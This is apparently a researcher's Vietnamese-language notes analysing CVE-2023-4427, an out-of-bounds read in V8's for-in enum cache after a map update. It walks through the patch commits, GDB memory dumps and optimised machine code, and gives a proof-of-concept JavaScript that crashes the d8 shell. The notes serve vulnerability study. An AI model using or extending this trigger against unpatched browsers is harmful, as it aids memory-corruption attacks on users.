Analysis

Commit ngày 10/08/2023:

[runtime] Recreate enum cache on map update
 
If we had one before, we probably want one after too.
 
Bug: chromium:1470668
Change-Id: Ib83f7b9549b5686a16d35dd7114bf88b12d0a3a0
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4771019
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/main@{#89488}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7660fab..7a864d9 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -12,6 +12,7 @@
 #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h"
+#include "src/objects/keys.h"
 #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h"
@@ -1038,6 +1039,12 @@
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);
 
+  // If the old descriptors had an enum cache, make sure the new ones do too.
+  if (old_descriptors_->enum_cache()->keys()->length() > 0) {
+    FastKeyAccumulator::InitializeFastPropertyEnumCache(
+        isolate_, new_map, new_map->NumberOfEnumerableProperties());
+  }
+
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;

Có thể thấy, commit này thêm vào đoạn code giúp tạo ra enum cache cho map mới của object nếu map cũ có enum cache.

Commit ngày 14/08/2023:

[runtime] Don't try to create empty enum cache.
 
When copying maps and the new map has no enumerable properties we
should not try to initialize an enum cache.
 
This happens if the deprecation is due to making the only property in
a map non enumerable.
 
Bug: chromium:1472317, chromium:1470668
Change-Id: I7a6af63e50dc30592e2caacce0caccfb31f534cf
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4775581
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Olivier Flückiger <olivf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#89534}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7a864d9..9c20491 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1040,7 +1040,8 @@
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);
 
   // If the old descriptors had an enum cache, make sure the new ones do too.
-  if (old_descriptors_->enum_cache()->keys()->length() > 0) {
+  if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
+      new_map->NumberOfEnumerableProperties() > 0) {
     FastKeyAccumulator::InitializeFastPropertyEnumCache(
         isolate_, new_map, new_map->NumberOfEnumerableProperties());
   }

Có vẻ như việc tạo ra enum cache cho map mới có thể dẫn đến một empty enum cache. Commit này đã thêm vào một điều kiện giúp kiểm tra xem map mới có các thuộc tính enumerable hay không.

Cuối cùng, commit ngày 17/08/2023 đã merge hai commit trên lại với nhau:

diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 8b2e7f3..568df12 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -12,6 +12,7 @@
 #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h"
+#include "src/objects/keys.h"
 #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h"
@@ -1037,6 +1038,13 @@
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);
 
+  // If the old descriptors had an enum cache, make sure the new ones do too.
+  if (old_descriptors_->enum_cache().keys().length() > 0 &&
+      new_map->NumberOfEnumerableProperties() > 0) {
+    FastKeyAccumulator::InitializeFastPropertyEnumCache(
+        isolate_, new_map, new_map->NumberOfEnumerableProperties());
+  }
+
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;

Preliminaries

Vòng lặp for in sẽ tìm enum cache trong instance descriptors của map. Sau đó, nó sẽ nạp lên mảng keys của enum cache.

Quá trình nạp lên keys diễn ra như sau:

object -> map -> instance descriptors -> enum cache -> keys

Dùng script sau:

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;
 
for (let key in object2) { } // forin enum cache generate
 
function trigger() {
    for (let key in object2) {
        console.log(object2[key]);
    }
}
 
% PrepareFunctionForOptimization(trigger);
trigger();
% OptimizeFunctionOnNextCall(trigger);
trigger(); // ReduceJSLoadPropertyWithEnumeratedKey optimization
 

Chạy với các option sau:

../v8/out/debug/d8 --allow-natives-syntax --shell --print-opt-code trigger.js 

Sau khi prompt của shell hiện ra thì attach GDB vào rồi gọi hàm trigger() lần nữa.

Đoạn native code của V8 giúp nạp instance descriptors:

   0x620ae00040b8                  int3   
   0x620ae00040b9                  cmp    ecx, 0x61
   0x620ae00040bc                  jne    0x620ae0004521
●→ 0x620ae00040c2                  mov    ecx, DWORD PTR [rax+0x17]
   0x620ae00040c5                  mov    r10d, 0xffffffff
   0x620ae00040cb                  cmp    rcx, r10
   0x620ae00040ce                  jbe    0x620ae00040dd
   0x620ae00040d0                  mov    edx, 0x2
   0x620ae00040d5                  call   QWORD PTR [r13+0x5050]

Với giá trị của [rax + 0x17] là:

gef➤  x/16wx $rax - 1 + 0x17
0x27d4000db77b:	0x1cc9e900	0x00022900	0x0db75d00	0x0db78f00
0x27d4000db78b:	0x00006100	0x06030700	0x0004212c	0x400fff0d
0x27d4000db79b:	0x0c4b7908	0x0db76500	0x1cc9e900	0x00022900
0x27d4000db7ab:	0x0db75d00	0x00000000	0x00008900	0x00000400

Note

Trừ 1 do pointer tagging.

Như vậy, 0x1cc9e900 là vùng nhớ của instance descriptors.

Đoạn native code nạp enum cache:

   0x620ae00040d0                  mov    edx, 0x2
   0x620ae00040d5                  call   QWORD PTR [r13+0x5050]
   0x620ae00040dc                  int3   
●→ 0x620ae00040dd                  mov    ecx, DWORD PTR [r14+rcx*1+0xb]
   0x620ae00040e2                  add    rcx, r14
0x620ae00040e5                  mov    edi, DWORD PTR [rcx+0x3]
   0x620ae00040e8                  mov    r10d, 0xffffffff
   0x620ae00040ee                  cmp    rdi, r10
   0x620ae00040f1                  jbe    0x620ae0004100

Với r14 lưu 32-bit lớn của con trỏ (dùng để khôi phục con trỏ thành 64-bit khi có pointer compression):

$r14   : 0x000027d4000000000x0000000000040000

Và giá trị của [r14+rcx*1+0xb] là:

gef➤  x/16wx $r14 + $rcx + 0xb
0x27d4001cc9f4:	0x000db7d5	0x00002a49	0x00000084	0x00000002
0x27d4001cca04:	0x00002a59	0x00100484	0x00000002	0x00002a69
0x27d4001cca14:	0x00200884	0x00000002	0x00000bd9	0x00000016
0x27d4001cca24:	0x00000002	0x00000000	0x00000008	0x00000251

Như vậy, 0x000db7d5 là vùng nhớ của enum cache.

Đoạn native code nạp lên mảng keys bên trong enum cache:

   0x620ae00040dc                  int3   
0x620ae00040dd                  mov    ecx, DWORD PTR [r14+rcx*1+0xb]
   0x620ae00040e2                  add    rcx, r14
●→ 0x620ae00040e5                  mov    edi, DWORD PTR [rcx+0x3]
   0x620ae00040e8                  mov    r10d, 0xffffffff
   0x620ae00040ee                  cmp    rdi, r10
   0x620ae00040f1                  jbe    0x620ae0004100
   0x620ae00040f3                  mov    edx, 0x2
   0x620ae00040f8                  call   QWORD PTR [r13+0x5050]

Với rcx đã được cộng với r14 trước đó để khôi phục con trỏ 64-bit và giá trị của [rcx+0x3] là:

gef➤  x/16wx $rcx + 0x3
0x27d4000db7d8:	0x000db7b5	0x000db7c5	0x00001425	0x00000251
0x27d4000db7e8:	0x00000000	0x00000251	0xfffffffe	0x00000002
0x27d4000db7f8:	0x00000251	0x00001425	0x00000251	0x00000000
0x27d4000db808:	0x00000251	0xfffffffe	0x00000002	0x00000251

Như vậy, 0x000db7b5 là vùng nhớ của keys.

Note

Chú ý, trong ví dụ trên thì vùng nhớ của enum cache là 0x......d5 còn của keys0x......b5. Hai giá trị này là khác nhau.

Cuối cùng, V8 sẽ nạp rax, rdir8 vào stack:

   0x620ae0004114                  call   QWORD PTR [r13+0x5050]
   0x620ae000411b                  int3   
   0x620ae000411c                  and    r8d, 0x3ff
0x620ae0004123                  mov    QWORD PTR [rbp-0x28], rax
   0x620ae0004127                  mov    QWORD PTR [rbp-0x30], rdi
   0x620ae000412b                  mov    QWORD PTR [rbp-0x38], r8
   0x620ae000412f                  test   r8d, r8d
   0x620ae0004132                  ja     0x620ae0004144
   0x620ae0004138                  lea    rax, [r14+0x251]

Với:

  • rax lưu địa chỉ của instance descriptors.
  • rdi lưu địa chỉ của mảng keys trong enum cache.
  • r8 là kích thước của keys và sẽ được dùng để làm điều kiện lặp.

Stack có dạng như sau:

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc4bf89730+0x0000: 0x000027d4000002510x0000000000000001	 ← $rsp
0x00007ffc4bf89738+0x0008: 0x0000000000000000
0x00007ffc4bf89740+0x0010: 0x0000000000000002
0x00007ffc4bf89748+0x0018: 0x00000000000db7b5
0x00007ffc4bf89750+0x0020: 0x000027d4000db7650x212c050307000000
0x00007ffc4bf89758+0x0028: 0x000027d4000db6c50x150000000a000d19
0x00007ffc4bf89760+0x0030: 0x0000000000000001
0x00007ffc4bf89768+0x0038: 0x000027d4000db6e10x1900000219000c44 ("D"?)

Summary

Hàm ForInEnumerate sẽ giúp nạp lên keys của enum cache.

Trigger

Nếu thay đổi map của object3 thì sẽ làm thay đổi instance descriptors cũng như là enum cache của object2. Trước khi được fix, enum cache của object3 (cũng là của object2) chưa được khởi tạo mặc dù trước đó nó có hai phần tử là ab.

Dẫn đến, khi object2 truy xuất thuộc tính ab mà không thông qua JSLoadProperty do code đã được tối ưu (và bị thay thế bằng LoadFieldByIndex), nó sẽ sử dụng những index có trong indices của enum cache để truy xuất thuộc tính mà không kiểm tra xem indices có thực sự chứa những index đó hay không.

Giá trị thu được có thể là của một trường nào khác trong đối tượng FIXED_ARRAY_TYPE và không phải là index hợp lệ. Khi V8 sử dụng index này để truy xuất thuộc tính, nó có thể gây ra OOB access.

Sử dụng đoạn script sau:

/* poc.js */
 
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;
 
for (let key in object2) { } // old descriptor enum cache generate index[2]
 
function trigger(callback) {
    for (let key in object2) {
        callback();
        console.log(object2[key]);
    }
}
 
% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);  // ReduceJSLoadPropertyWithEnumeratedKey optimization
 
% DebugPrint(trigger);
% DebugPrint(object2);
readline();
 
trigger(_ => {
    object3.c = 1.1;  // MapUpdater
    for (let key in object1) { } // new descriptor enum cache generate index[1]
    % DebugPrint(object2);
    readline();
});

Trước khi map của object3 thay đổi, object2 có instance descriptor và mảng transitions như sau:

- instance descriptors #2: 0x371e001ccb31 <DescriptorArray[3]>
- transitions #1: 0x371e000db94d <Map[28](HOLEY_ELEMENTS)>
     0x371e00002a69: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x371e000db94d <Map[28](HOLEY_ELEMENTS)>

Sau khi map của object3 thay đổi, object2 sẽ có instance descriptor và mảng transitions mới:

- instance descriptors #2: 0x371e001ccc51 <DescriptorArray[3]>
- transitions #1: 0x371e000dbe69 <Map[28](HOLEY_ELEMENTS)>
     0x371e00002a69: [String] in ReadOnlySpace: #c: (transition to (data field, attrs: [WEC]) @ Any) -> 0x371e000dbe69 <Map[28](HOLEY_ELEMENTS)>

Sau khi object3 thay đổi map, vòng lặp for (let key in object1) { } sẽ giúp sinh ra enum cache cho thuộc tính a. Lúc này, indices của enum cache sẽ chuyển từ trạng thái rỗng sang trạng thái có một phần tử. Khi đó, giá trị của thuộc tính a vẫn được in ra như bình thường.

Tuy nhiên, đối với thuộc tính b thì lại khác. Ta sẽ xem xét các đoạn native code tại dòng console.log(object2[key]) đối với keyb sau khi map của object3 đã bị thay đổi.

Gắn GDB vào câu lệnh readline cuối cùng (trước khi gọi console.log(object2[key])).

Đoạn code nạp lên enum cache:

   0x5694e0004387                  mov    edx, 0x2
   0x5694e000438c                  call   QWORD PTR [r13+0x5050]
   0x5694e0004393                  int3   
●→ 0x5694e0004394                  mov    r9d, DWORD PTR [r14+r9*1+0xb]
   0x5694e0004399                  mov    r10d, 0xffffffff
   0x5694e000439f                  cmp    r9, r10
   0x5694e00043a2                  jbe    0x5694e00043b1
   0x5694e00043a4                  mov    edx, 0x2
   0x5694e00043a9                  call   QWORD PTR [r13+0x5050]

Với [r14+r9*1+0xb] có giá trị là:

gef➤  x/16wx $r14 + $r9 + 0xb
0x371e001ccc5c:	0x000dbea9	0x00002a49	0x00000084	0x00000002
0x371e001ccc6c:	0x00002a59	0x00100484	0x00000002	0x00002a69
0x371e001ccc7c:	0x00200900	0x00000002	0x00000089	0x00000008
0x371e001ccc8c:	0x00000008	0x0000000a	0x001ccc9d	0x00000251

Như vậy, 0x000dbea9 là vùng nhớ của enum cache.

Sau đó, V8 sẽ nạp lên mảng indices của enum cache để truy xuất tên thuộc tính:

   0x5694e00043a4                  mov    edx, 0x2
   0x5694e00043a9                  call   QWORD PTR [r13+0x5050]
   0x5694e00043b0                  int3   
●→ 0x5694e00043b1                  mov    r9d, DWORD PTR [r14+r9*1+0x7]
   0x5694e00043b6                  add    r9, r14
   0x5694e00043b9                  cmp    r9d, 0x219
   0x5694e00043c0                  je     0x5694e0004676
0x5694e00043c6                  mov    r11d, DWORD PTR [rbp-0x40]
   0x5694e00043ca                  mov    r9d, DWORD PTR [r9+r11*4+0x7]

Giá trị của [r14+r9*1+0x7] là:

gef➤  x/16wx $r14 + $r9 + 0x7
0x371e000dbeb0:	0x000dbe9d	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e000dbec0:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e000dbed0:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e000dbee0:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef

Như vậy, 0x000dbe9d là địa chỉ của mảng indices.

Kế đến, sau khi nạp lên chỉ số 1 từ stack và lưu vào r11:

$r11   : 0x1 

V8 sẽ truy xuất đến indices nhằm lấy ra index của thuộc tính bên trong object:

   0x5694e00043b9                  cmp    r9d, 0x219
   0x5694e00043c0                  je     0x5694e0004676
0x5694e00043c6                  mov    r11d, DWORD PTR [rbp-0x40]
0x5694e00043ca                  mov    r9d, DWORD PTR [r9+r11*4+0x7]
   0x5694e00043cf                  sar    r9d, 1
   0x5694e00043d2                  movsxd r12, r9d
   0x5694e00043d5                  test   r12b, 0x1
   0x5694e00043d9                  jne    0x5694e000458b
   0x5694e00043df                  test   r9d, r9d

Với:

  • r9 là mảng indices.
  • r11 là chỉ số (1).

Giá trị của r9 + r11 * 4 + 0x7 là:

gef➤  x/16wx $r9 + $r11 * 4 + 0x7
0x371e000dbea8:	0x000001f1	0x000dbe91	0x000dbe9d	0xbeadbeef
0x371e000dbeb8:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e000dbec8:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e000dbed8:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef

Do pointer tagging, giá trị 0x000001f1 thực chất sẽ là:

gef➤  p 0x000001f1/2
$3 = 0xf8

Important

Có thể thấy, giá trị này rất lớn và chắc chắn không phải index của thuộc tính. Xem xét vùng nhớ của indices thì ta thấy rằng chỉ có byte thứ 3 có chứa index của thuộc tính a:

0x00000089	0x00000002	0x00000000	0x000001f1
0x000dbdb9	0x000dbdc5	0x00001475	0x001ccc75
0x001ccc65	0x00000000	0x00000000	0x00000251
0x00000004	0x00000000	0x00000008	0x00000251

Như vậy, giá trị 0x000001f1 có thể là giá trị của một trường khác bên trong đối tượng FIXED_ARRAY_TYPE.

Tiếp tục luồng thực thi, V8 sẽ truy xuất đến thuộc tính b của object2 thông qua index vừa tìm được:

   0x5694e00043d9                  jne    0x5694e000458b
   0x5694e00043df                  test   r9d, r9d
   0x5694e00043e2                  jl     0x5694e00043f5
●→ 0x5694e00043e8                  mov    r9d, DWORD PTR [r8+r12*2+0xb]
   0x5694e00043ed                  add    r9, r14
   0x5694e00043f0                  jmp    0x5694e0004407
   0x5694e00043f5                  neg    r12
   0x5694e00043f8                  mov    r9d, DWORD PTR [r8+0x3]
   0x5694e00043fc                  add    r9, r14

Với:

  • r8 là instance descriptors.
  • r12 là index của thuộc tính (0xf8).

Giá trị của [r8+r12*2+0xb] là:

gef➤  x/16wx $r8 + $r12 * 2 + 0xb
0x371e001ccccc:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e001cccdc:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e001cccec:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef
0x371e001cccfc:	0xbeadbeef	0xbeadbeef	0xbeadbeef	0xbeadbeef

Có thể thấy, không có giá trị nào tồn tại ở vùng nhớ đó và việc truy xuất vùng nhớ này bởi V8 sẽ gây ra crash chương trình.

PoC

PoC hoàn chỉnh:

/* poc.js */
 
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;
 
for (let key in object2) { } 
 
function trigger(callback) {
    for (let key in object2) {
        callback();
        console.log(object2[key]);
    }
}
% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
    object3.c = 1.1;  
    for (let key in object1) { }
});

Questions

Tại sao cần phải chạy vòng lặp for in cho object1?

list
from outgoing([[CVE-2023-4427]])
sort file.ctime asc

Resources